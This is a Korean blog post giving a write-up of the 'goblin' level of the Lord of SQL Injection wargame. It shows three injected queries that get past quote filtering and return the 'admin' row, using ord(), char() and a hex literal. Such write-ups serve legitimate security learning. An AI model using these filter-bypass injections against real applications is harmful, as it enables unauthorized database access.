minhui study

[ Lord of SQL Injection ] goblin 본문

Hacking/Lord of SQLInjection

[ Lord of SQL Injection ] goblin

minhui 2020. 3. 23. 11:04

Challenge goblin

url에 ?no=1이라고 치면 다음과 같이 나온다.

 

코드를 보면 no에 따옴표가 필터링이 된다.

그리고 문제가 해결되려면 id가 guest가 아닌 admin이어야 한다. 

그러므로 쿼리문은 no에 1이 아닌 다른 값을 넣어주어 거짓으로 만든 다음 뒤에 id='admin'을 붙여서

select id from prob_goblin where id='guest' and no=2 or id='admin' 이런식으로 보내면 문제가 해결될 것이다.

하지만 이대로 넣어주면 '이 필터링이 된다.

 

일단 첫번째 방법은 a=97(아스키 코드)이므로 id에서 맨 왼쪽 값이 a(97)을 찾아라라는 의미의 쿼리를 넣는 것이다.

select id from prob_goblin where id='guest' and no=2 or ord(id)=97

 

다음 방법으로는 char 함수를 통해 아스키를 이용하는 것이다.

 

select id from prob_goblin where id='guest' and no=2 or id=char(97, 100, 109, 105, 110)

 

 

또 다른 방법으로 HEX값을 이용하는 것도 있다. (16진수는 무조건 앞에 0x를 붙여주어야 한다.)

 

select id from prob_goblin where id='guest' and no=2 or id=0x61646d696e

 

'Hacking > Lord of SQLInjection' 카테고리의 다른 글

[ Lord of SQL Injection ] orc  (0) 2020.03.23
[ Lord of SQL Injection ] cobolt  (0) 2020.03.23
[ Lord of SQL Injection ] Gremlin  (0) 2020.03.23
Comments